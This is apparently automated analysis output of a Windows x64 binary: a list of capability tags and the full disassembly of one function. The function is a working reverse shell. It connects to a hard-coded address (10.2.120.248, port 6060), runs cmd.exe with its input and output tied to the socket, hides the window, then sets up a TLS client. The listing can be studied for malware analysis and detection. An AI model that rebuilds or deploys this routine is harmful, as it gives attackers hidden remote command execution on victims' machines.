Function at 0x140001450
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Create udp socket
Hide graphical window
Initialize winsock library
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x4c8
lea rbp, [rsp + 0x80]
call dbg.__main
lea rdx, [rbp + 0x200]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
movabs rax, 0x3032312e322e3031
mov qword [rbp - 0x2d], rax
movabs rax, 0x3834322e303231
mov qword [rbp - 0x28], rax
mov dword [rbp + 0x43c], 0x17ac
lea rax, [rbp + 0x280]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x430], rax
mov eax, dword [rbp + 0x43c]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x272], ax
mov word [rbp + 0x270], 2
lea rax, [rbp - 0x2d]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x274], eax
lea rdx, [rbp + 0x270]
mov rax, qword [rbp + 0x430]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
mov dword [rbp + 0x42c], eax
cmp dword [rbp + 0x42c], 0xffffffff
jne 0x140001594
lea rax, str.connection_to_target_server_failed
mov rcx, rax
call sym.puts
mov ecx, 0
call sym.exit
lea rax, [rbp + 0x200]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x200], 0x68
mov dword [rbp + 0x23c], 0x101
mov rax, qword [rbp + 0x430]
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x250], rax
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x200]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, str.cmd.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov rax, qword [rbp + 0x1e0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x1e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
call sym.TLS_client_method
mov rcx, rax
call sym.SSL_CTX_new
mov qword [rbp + 0x420], rax
cmp qword [rbp + 0x420], 0
jne 0x1400016ef
lea rax, str.ctx_is_null
mov rcx, rax
call dbg.printf
mov ecx, 2
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call rax
mov rcx, rax
call sym.ERR_print_errors_fp
mov ecx, 1
call sym.exit
mov rax, qword [rbp + 0x420]
mov rcx, rax
call sym.SSL_new
mov qword [rbp + 0x418], rax
cmp qword [rbp + 0x418], 0
jne 0x14000173e
lea rax, str.ssl_is_null
mov rcx, rax
call dbg.printf
mov ecx, 2
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call rax
mov rcx, rax
call sym.ERR_print_errors_fp
mov ecx, 1
call sym.exit
mov rax, qword [rbp + 0x430]
mov edx, eax
mov rax, qword [rbp + 0x418]
mov rcx, rax
call sym.SSL_set_fd
mov rax, qword [rbp + 0x418]
mov rcx, rax
call sym.SSL_connect
cmp eax, 0xffffffff
jne 0x1400017be
mov rax, qword [rbp + 0x418]
mov rcx, rax
call sym.SSL_get_verify_result
test eax, eax
je 0x1400017a8
mov ecx, 2
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x21
mov edx, 1
lea rax, str.Certificate_verification_failed._n
mov rcx, rax
call sym.fwrite
mov ecx, 2
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call rax
mov rcx, rax
call sym.ERR_print_errors_fp
mov eax, 0
add rsp, 0x4c8
pop rdi
pop rbp
ret